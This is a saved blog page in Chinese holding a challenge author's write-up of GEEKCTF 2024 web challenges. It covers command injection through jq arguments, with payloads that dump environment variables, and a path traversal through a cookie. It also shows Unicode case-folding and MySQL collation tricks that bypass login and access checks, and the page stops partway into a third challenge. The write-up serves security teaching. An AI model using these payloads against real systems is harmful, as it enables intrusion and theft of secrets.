You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

241 lines
60 KiB
HTML

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8"><meta http-equiv="x-dns-prefetch-control" content="on"><meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"><meta name="renderer" content="webkit"><meta name="force-rendering" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="HandheldFriendly" content="True"><meta name="mobile-web-app-capable" content="yes"><link rel="shortcut icon" href="https://hans362-img.oss.0vv0.top/favicon.ico"><link rel="icon" type="image/png" sizes="16x16" href="https://hans362-img.oss.0vv0.top/favicon-16x16.png"><link rel="icon" type="image/png" sizes="32x32" href="https://hans362-img.oss.0vv0.top/favicon-32x32.png"><link rel="apple-touch-icon" sizes="180x180" href="https://hans362-img.oss.0vv0.top/apple-touch-icon.png"><link rel="mask-icon" href="https://hans362-img.oss.0vv0.top/safari-pinned-tab.svg"><title>SJTU-CTF / GEEKCTF 2024 部分 Writeup | Hans362 &#39;s Blog</title><meta name="keywords" content="Web, 网络安全, CTF, Writeup, 解题报告, Hans362"><meta name="description" content="去年还是选手,今年变成出题人了( 这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题YAJF、Secrets、SafeBlog2、PicBed赛后决定在博客上公开一下出题人的部分 Writeup 供参考。"><meta property="og:type" content="article"><meta property="og:title" content="SJTU-CTF &#x2F; GEEKCTF 2024 部分 Writeup"><meta property="og:url" content="https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/"><meta property="og:site_name" content="Hans362 &#39;s Blog"><meta property="og:description" content="去年还是选手,今年变成出题人了( 这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题YAJF、Secrets、SafeBlog2、PicBed赛后决定在博客上公开一下出题人的部分 Writeup 供参考。"><meta property="og:locale" content="zh_CN"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png"><meta property="article:published_time" content="2024-04-24T15:33:33.000Z"><meta property="article:modified_time" content="2025-04-11T10:35:15.359Z"><meta property="article:author" content="Hans362"><meta property="article:tag" content="Web"><meta property="article:tag" content="网络安全"><meta property="article:tag" content="CTF"><meta property="article:tag" content="Writeup"><meta property="article:tag" content="解题报告"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png"><link rel="stylesheet" href="/css/style/main.css"><link rel="stylesheet" id="hl-default-theme" href="https://blog.hans362.cn/npm/highlight.js@10.1.2/styles/atom-one-light.css" media="none"><link rel="stylesheet" id="hl-dark-theme" href="https://blog.hans362.cn/npm/highlight.js@10.1.2/styles/atom-one-dark.css" media="none"><script src="/js/darkmode.js"></script><link rel="dns-prefetch" href="https://analytics.0vv0.top"><link rel="preconnect" href="https://hans362-img.oss.0vv0.top"><meta name="generator" content="Hexo 7.1.1"><link rel="alternate" href="/atom.xml" title="Hans362 's Blog" type="application/atom+xml"></head><body><div class="app-shell-loader">加载中...</div><div class="container" tabindex="-1"><header><div class="header__left"><a href="/" class="button"><span class="logo__text">Hans362 &#39;s Blog</span></a></div><div class="header__right"><div class="navbar__menus"><a href="/" class="button"><div class="navbar-menu">首页</div></a><a href="/archives/" class="button"><div class="navbar-menu">归档</div></a><a href="/tags/" class="button"><div class="navbar-menu">标签</div></a><a href="/bangumi/" class="button"><div class="navbar-menu">追番</div></a><a href="/links/" class="button"><div class="navbar-menu">友链</div></a><a href="/about/" class="button"><div class="navbar-menu">关于</div></a><a href="/atom.xml" class="button"><div class="navbar-menu">RSS</div></a></div><a href="/search/" class="button"><div id="btn-search"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="24" height="24" fill="currentColor" stroke="currentColor" stroke-width="32"><path d="M192 448c0-141.152 114.848-256 256-256s256 114.848 256 256-114.848 256-256 256-256-114.848-256-256z m710.624 409.376l-206.88-206.88A318.784 318.784 0 0 0 768 448c0-176.736-143.264-320-320-320S128 271.264 128 448s143.264 320 320 320a318.784 318.784 0 0 0 202.496-72.256l206.88 206.88 45.248-45.248z"></path></svg></div></a><a href="javaScript:void(0);" rel="external nofollow noreferrer" class="button"><div id="btn-toggle-dark"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"></path></svg></div></a><a href="#" class="button" id="b2t" aria-label="回到顶部" title="回到顶部"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="32" height="32"><path d="M233.376 722.752L278.624 768 512 534.624 745.376 768l45.248-45.248L512 444.128zM192 352h640V288H192z" fill="currentColor"></path></svg> </a><a class="dropdown-icon button" tabindex="0"><div id="btn-dropdown"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" width="24" height="24" fill="none" stroke="currentColor" stroke-width="0.7" stroke-linecap="round" stroke-linejoin="round"><path fill="currentColor" d="M3.314,4.8h13.372c0.41,0,0.743-0.333,0.743-0.743c0-0.41-0.333-0.743-0.743-0.743H3.314c-0.41,0-0.743,0.333-0.743,0.743C2.571,4.467,2.904,4.8,3.314,4.8z M16.686,15.2H3.314c-0.41,0-0.743,0.333-0.743,0.743s0.333,0.743,0.743,0.743h13.372c0.41,0,0.743-0.333,0.743-0.743S17.096,15.2,16.686,15.2z M16.686,9.257H3.314c-0.41,0-0.743,0.333-0.743,0.743s0.333,0.743,0.743,0.743h13.372c0.41,0,0.743-0.333,0.743-0.743S17.096,9.257,16.686,9.257z"></path></svg></div></a><div class="dropdown-menus" id="dropdown-menus"><a href="/" class="dropdown-menu button">首页</a> <a href="/archives/" class="dropdown-menu button">归档</a> <a href="/tags/" class="dropdown-menu button">标签</a> <a href="/bangumi/" class="dropdown-menu button">追番</a> <a href="/links/" class="dropdown-menu button">友链</a> <a href="/about/" class="dropdown-menu button">关于</a> <a href="/atom.xml" class="dropdown-menu button">RSS</a></div></div></header><cover></cover><main><div class="post-content"><div class="post-title"><h1 class="post-title__text">SJTU-CTF / GEEKCTF 2024 部分 Writeup</h1><div class="post-title__meta"><a href="/archives/2024/04/" class="post-meta__date button">2024-04-24</a> <span class="separate-dot"></span> <a href="/categories/%E6%B0%B4/" class="button"><span class="post-meta__cats"></span></a><style>.post-meta__pv{color:var(--t-l);visibility:hidden;opacity:0;transition:.2s}</style><span class="separate-dot"></span> <span class="post-meta__pv"></span></div></div><aside class="post-side"><div class="post-side__toc"><div class="toc-title">文章目录</div><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#yajf"><span class="toc-text">YAJF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#secrets"><span class="toc-text">Secrets</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#safeblog2"><span class="toc-text">SafeBlog2</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">预期解</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">非预期解</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#picbed"><span class="toc-text">PicBed</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-text">总结</span></a></li></ol></div></aside><a class="btn-toc button" id="btn-toc" tabindex="0"><svg viewBox="0 0 1024 1024" width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M128 256h64V192H128zM320 256h576V192H320zM128 544h64v-64H128zM320 544h576v-64H320zM128 832h64v-64H128zM320 832h576v-64H320z" fill="currentColor"></path></svg></a><div class="toc-menus" id="toc-menus"><div class="toc-title">文章目录</div><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#yajf"><span class="toc-text">YAJF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#secrets"><span class="toc-text">Secrets</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#safeblog2"><span class="toc-text">SafeBlog2</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">预期解</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">非预期解</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#picbed"><span class="toc-text">PicBed</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-text">总结</span></a></li></ol></div><article class="post post__with-toc card"><div class="post__header"><div class="post__expire" id="post-expired-notify"><p><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" style="fill:#f5a623;stroke:#f5a623"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> 本文最后更新于 <span id="expire-date"></span> 天前,文中部分描述可能已经过时。</p></div><script>(()=>{var e=Date.parse("2024-04-24"),t=(new Date).getTime(),t=Math.floor((t-e)/864e5);120<=t&&(document.querySelectorAll("#expire-date")[0].innerHTML=t,document.querySelectorAll("#post-expired-notify")[0].style.display="block")})()</script></div><div class="post__content"><html><head><script>var meting_api="https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r"</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>去年还是选手,今年变成出题人了(</p><p>这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题YAJF、Secrets、SafeBlog2、PicBed赛后决定在博客上公开一下出题人的部分 Writeup 供参考。</p><span id="more"></span><h2 id="yajf"><a class="markdownIt-Anchor" href="#yajf"></a> YAJF</h2><p>Yet Another JSON Formatter.</p><p>Do you know <code>jq</code>? <code>jq</code> is a lightweight and flexible JSON processor.</p><p>P.S. The flag is inside an environment variable.</p><details><summary>答题情况</summary><p>SJTU-CTF 5 Solves / 764 pts</p><p><code>0ops{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p><p>GEEKCTF 27 Solves / 297 pts</p><p><code>flag{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p></details><hr><p>一个在线 JSON 格式化工具,考察命令注入。</p><p>通过抓包不难发现,该工具是把原始 JSON 以及格式化参数 POST 到后端进行处理的。题目描述中已经明示使用了 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a>,而 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a> 是一个命令行工具,并且传入的几种格式化参数刚好和 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a> 文档中的一致,不难嗅到一丝命令注入的味道。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" srcset="/loading.gif" alt=""></p><p>经过一番 Fuzz 可以发现,只控制传入的 <code>json</code> 是无法实现命令执行的,这其实是因为 <code>json</code> 是直接作为 <code>stdin</code> 输入的,并不是命令的一部分。而通过控制传入的 <code>args</code> 则可以实现命令执行,不过要求每个 <code>args</code> 的长度不能超过 5且输出必须是合法的 JSON。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" srcset="/loading.gif" alt=""></p><p>要达到这些要求并不困难,一种简单的办法是使用管道符,将 <code>env</code> 命令的输出通过 <code>jq -R</code> 转换成合法的 JSON。在大家的 Writeup 中也看到了五花八门的解法,以下列举一些较为简短的供参考。</p><pre><code class="hljs plain">args=|env|&amp;args=jq&amp;args=-R&amp;json={}
args=&lt;&lt;&lt;&amp;args=`env`&amp;args=-R&amp;json={}
args=;echo&amp;args=\"&amp;args=$FLAG&amp;args=\"&amp;json={}
args=;&amp;args=echo&amp;args=[\"&amp;args=`&amp;args=env&amp;args=`&amp;args=\"]</code></pre><details><summary>你知道吗</summary><p>单个数字、单个双引号包围的字符串都是合法的 JSON。</p></details><p>最后揭秘一下命令到底是怎么拼接的,不过都能执行命令了,拖一份源码出来看看应该也不难吧。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():
<span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"POST"</span>:
args = request.form.getlist(<span class="hljs-string">"args"</span>)
json = request.form.get(<span class="hljs-string">"json"</span>, <span class="hljs-string">""</span>)
<span class="hljs-comment"># Limit argument length</span>
<span class="hljs-keyword">for</span> arg <span class="hljs-keyword">in</span> args:
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(arg) &gt; <span class="hljs-number">5</span>:
<span class="hljs-keyword">return</span> render_template(
<span class="hljs-string">"index.html"</span>,
error=<span class="hljs-string">"One or more arguments are too long."</span>,
args=args,
json=json,
)
<span class="hljs-keyword">try</span>:
formatted = subprocess.check_output(
[<span class="hljs-string">"bash"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">f'jq . <span class="hljs-subst">{<span class="hljs-string">" "</span>.join(args)}</span>'</span>],
<span class="hljs-built_in">input</span>=json,
text=<span class="hljs-literal">True</span>,
stderr=subprocess.STDOUT,
)
<span class="hljs-comment"># Require output to be valid JSON</span>
<span class="hljs-keyword">try</span>:
subprocess.check_output(
[<span class="hljs-string">"jq"</span>, <span class="hljs-string">"."</span>], <span class="hljs-built_in">input</span>=formatted, text=<span class="hljs-literal">True</span>, stderr=subprocess.STDOUT
)
<span class="hljs-keyword">except</span> subprocess.CalledProcessError:
<span class="hljs-keyword">return</span> render_template(
<span class="hljs-string">"index.html"</span>,
error=<span class="hljs-string">"Oh, no! Formatted text isn't valid JSON! Are you a hacker?"</span>,
args=args,
json=json,
)
<span class="hljs-keyword">except</span> subprocess.CalledProcessError <span class="hljs-keyword">as</span> e:
<span class="hljs-keyword">try</span>:
error = e.output.splitlines()[<span class="hljs-number">0</span>].strip()
<span class="hljs-keyword">if</span> error.startswith(<span class="hljs-string">"jq: parse error:"</span>):
error = <span class="hljs-string">f"P<span class="hljs-subst">{error[<span class="hljs-number">5</span>:]}</span>"</span>
<span class="hljs-keyword">else</span>:
error = <span class="hljs-string">"Internal server error."</span>
<span class="hljs-keyword">except</span>:
error = <span class="hljs-string">"Internal server error."</span>
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, error=error, args=args, json=json)
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, args=args, json=formatted)
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>)</code></pre><h2 id="secrets"><a class="markdownIt-Anchor" href="#secrets"></a> Secrets</h2><p>My notes and secrets are stored in this secret vault. Im sure no one can get them.</p><details><summary>答题情况</summary><p>SJTU-CTF 7 Solves / 684 pts</p><p><code>0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p><p>GEEKCTF 43 Solves / 207 pts</p><p><code>flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p></details><hr><p>出题灵感来自于真实的攻击事件考察文件包含、Python 字符大小写特性、MySQL 字符串比较特性。</p><p>打开网页只有一个登陆框,可以发现网页源代码中有一堆不知道是什么东西的奇怪注释,控制台也输出了一串神秘数字。这两处实际上是两个提示,并不是解出本题所必须的。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" srcset="/loading.gif" alt=""></p><p>控制台的神秘数字是八进制下的 ASCII 码,转换后得到字符串 <code>Don't you think the color picker is weird?</code>,提示我们去看页面右上角切换颜色的功能。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" srcset="/loading.gif" alt=""></p><details><summary>你知道吗</summary><p>对于这种奇奇怪怪的编码,可以使用 <a target="_blank" rel="noopener" href="https://github.com/gchq/CyberChef">CyberChef</a> 的 Magic 功能进行自动检测。</p></details><p>切换几次颜色并抓包,可以发现切换颜色时会先请求 <code>/setCustomColor</code> 接口,响应中会 <code>Set-Cookie</code></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" srcset="/loading.gif" alt=""></p><p>接着页面会从 <code>/redirectCustomAsset</code> 接口获取对应颜色的 CSS。不难发现这个接口会读取 Cookie 中的 <code>asset</code> 值,返回对应路径的 CSS 文件。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" srcset="/loading.gif" alt=""></p><p>页面源代码中的奇怪注释则是 Base85 编码后的目录结构。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" srcset="/loading.gif" alt=""></p><pre><code class="hljs plain">.
├── app.py
├── assets
│ ├── css
│ │ ├── pico.amber.min.css
│ │ ├── pico.azure.min.css
│ │ ├── pico.blue.min.css
│ │ ├── pico.cyan.min.css
│ │ ├── pico.fuchsia.min.css
│ │ ├── pico.green.min.css
│ │ ├── pico.grey.min.css
│ │ ├── pico.indigo.min.css
│ │ ├── pico.jade.min.css
│ │ ├── pico.lime.min.css
│ │ ├── pico.orange.min.css
│ │ ├── pico.pink.min.css
│ │ ├── pico.pumpkin.min.css
│ │ ├── pico.purple.min.css
│ │ ├── pico.red.min.css
│ │ ├── pico.sand.min.css
│ │ ├── pico.slate.min.css
│ │ ├── pico.violet.min.css
│ │ ├── pico.yellow.min.css
│ │ └── pico.zinc.min.css
│ └── js
│ ├── color-picker.js
│ ├── home.js
│ ├── jquery-3.7.1.min.js
│ └── login.js
├── gunicorn_conf.py
├── populate.py
├── requirements.txt
└── templates
├── base.html
├── index.html
└── login.html</code></pre><p>尝试修改 Cookie 中的 <code>asset</code> 把目录中的其他文件读出来,结果却返回 <code>Hacker!</code>,猜测可能是对路径开头做了检查。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" srcset="/loading.gif" alt=""></p><p>尝试用 <code>../</code> 绕过检查,发现读取成功,于是可以把整个网站的源码拖下来。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" srcset="/loading.gif" alt=""></p><p>网站的主要逻辑在 <code>app.py</code> 里,先看看登录部分的代码。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/login"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">login</span>():
<span class="hljs-keyword">if</span> session.get(<span class="hljs-string">"logged_in"</span>):
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">def</span> <span class="hljs-title function_">isEqual</span>(<span class="hljs-params">a, b</span>):
<span class="hljs-keyword">return</span> a.lower() != b.lower() <span class="hljs-keyword">and</span> a.upper() == b.upper()
<span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"GET"</span>:
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>)
username = request.form.get(<span class="hljs-string">"username"</span>, <span class="hljs-string">""</span>)
password = request.form.get(<span class="hljs-string">"password"</span>, <span class="hljs-string">""</span>)
<span class="hljs-keyword">if</span> isEqual(username, <span class="hljs-string">"alice"</span>) <span class="hljs-keyword">and</span> isEqual(password, <span class="hljs-string">"start2024"</span>):
session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>
session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"user"</span>
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">elif</span> username == <span class="hljs-string">"admin"</span> <span class="hljs-keyword">and</span> password == os.urandom(<span class="hljs-number">128</span>).<span class="hljs-built_in">hex</span>():
session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>
session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"admin"</span>
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>, error=<span class="hljs-string">"Invalid username or password."</span>)</code></pre><p>显然以 <code>admin</code> 的身份登录是不可能的(不会有人能猜出 <code>os.urandom(128).hex()</code> 的结果吧),那么唯一的可能就是以 <code>alice</code> 的身份登录。但是 <code>alice</code> 用户名密码的判等逻辑有点奇怪,<code>isEqual()</code> 要求两个字符串小写不同,但是大写相同,乍一看这好像也不可能啊。不过反正 Unicode 字符<s>也不多</s>,统统枚举一遍看看吧,结果还真发现了 4 个。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> string
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0x10FFFF</span>):
c = <span class="hljs-built_in">chr</span>(i)
<span class="hljs-keyword">if</span> c.upper() <span class="hljs-keyword">in</span> string.ascii_uppercase <span class="hljs-keyword">and</span> c.lower() <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> string.ascii_lowercase:
<span class="hljs-built_in">print</span>(c, c.upper())</code></pre><pre><code class="hljs plain">ı I
ſ S
ſt ST
st ST</code></pre><p>于是用 <code>alıce</code> 作为用户名、<code>ſtart2024</code><code>start2024</code><code>ſtart2024</code> 作为密码就可以通过这段验证,以 <code>alice</code> 的身份登录。但是由于我们现在并不是<code>admin</code>,只能看到 <code>notes</code></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" srcset="/loading.gif" alt=""></p><p>接下来的目标是越权访问 <code>secrets</code>,那就看看访问控制是如何实现的吧。</p><pre><code class="hljs python"><span class="hljs-built_in">type</span> = request.args.get(<span class="hljs-string">"type"</span>, <span class="hljs-string">"notes"</span>).strip()
<span class="hljs-keyword">if</span> (<span class="hljs-string">"secrets"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.lower() <span class="hljs-keyword">or</span> <span class="hljs-string">"SECRETS"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.upper()) <span class="hljs-keyword">and</span> session.get(
<span class="hljs-string">"role"</span>
) != <span class="hljs-string">"admin"</span>:
<span class="hljs-keyword">return</span> render_template(
<span class="hljs-string">"index.html"</span>,
notes=[],
error=<span class="hljs-string">"You are not admin. Only admin can view secre&lt;u&gt;ts&lt;/u&gt;."</span>,
)</code></pre><p>这里的逻辑是,如果当前用户不是 <code>admin</code>,那么检查传入的 <code>type</code>,如果 <code>type</code> 小写后包含 <code>secrets</code> 或大写后包含 <code>SECRETS</code>,那么拒绝访问。乍一看似乎也没什么问题,但是这种黑名单的过滤机制值得我们怀疑一下是不是有办法绕过。</p><p>再仔细阅读一下代码,发现有两行看上去没啥用的断言,告诉我们数据库的 Character Set 是 <code>utf8mb4</code>Collation 是 <code>utf8mb4_unicode_ci</code></p><pre><code class="hljs python"><span class="hljs-keyword">assert</span> character_set_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4"</span>
<span class="hljs-keyword">assert</span> collation_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4_unicode_ci"</span></code></pre><p>那么 Character Set 和 Collation 究竟是什么呢?查阅 MySQL 官方文档可以找到相应的解释。</p><blockquote><p>A character set is a set of symbols and encodings. A collation is a set of rules for comparing characters in a character set.</p></blockquote><p>我们注意到Collation 决定了 Character Set 中的字符进行比较的规则。MySQL 中比较两个字符串是基于它们的 Weight而 Weight 由 Collation 决定。我们只要使用 <code>utf8mb4_unicode_ci</code> Collation 中与 <code>secrets</code> 具有相同 Weight 的字符串即可。符合这样条件的字符串其实有很多,事实上 <code>secrets</code><code>ts</code> 被加上了下划线,已经暗示了一种解法,以下列举一部分解法供参考:</p><pre><code class="hljs plain">secreʦ
Śecrets
secre%00ts
secréts</code></pre><p>当然如果不知道这一点,也可以在本地起一个完全相同的环境,设置相同的 Character Set 和 Collation用和之前一样的办法把 Unicode 字符都枚举一遍,也能找出可以绕过检查的字符串。</p><p>最后说说题目背后的真实事件。2023 年 12 月OKX 交易所就曾因 Collation 设置不当遭受攻击。攻击者通过 <code>saʦ</code> 欺骗了数据库,成功冒充 <code>sats</code> 铭文代币出现在了搜索结果中,于是眼神不太好的用户就上当受骗了,被黑客狠狠割了韭菜。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" srcset="/loading.gif" alt=""></p><p>实际上这并不是数据库软件的错,而是在字符串比较时没有使用正确的 Collation使用 <code>utf8mb4_unicode_bin</code> 则可以规避这一问题。</p><h2 id="safeblog2"><a class="markdownIt-Anchor" href="#safeblog2"></a> SafeBlog2</h2><p>Using WordPress is a bit too dangerous, so Im developing my own blogging platform, SafeBlog2, to have full control over its security.</p><p><a target="_blank" rel="noopener" 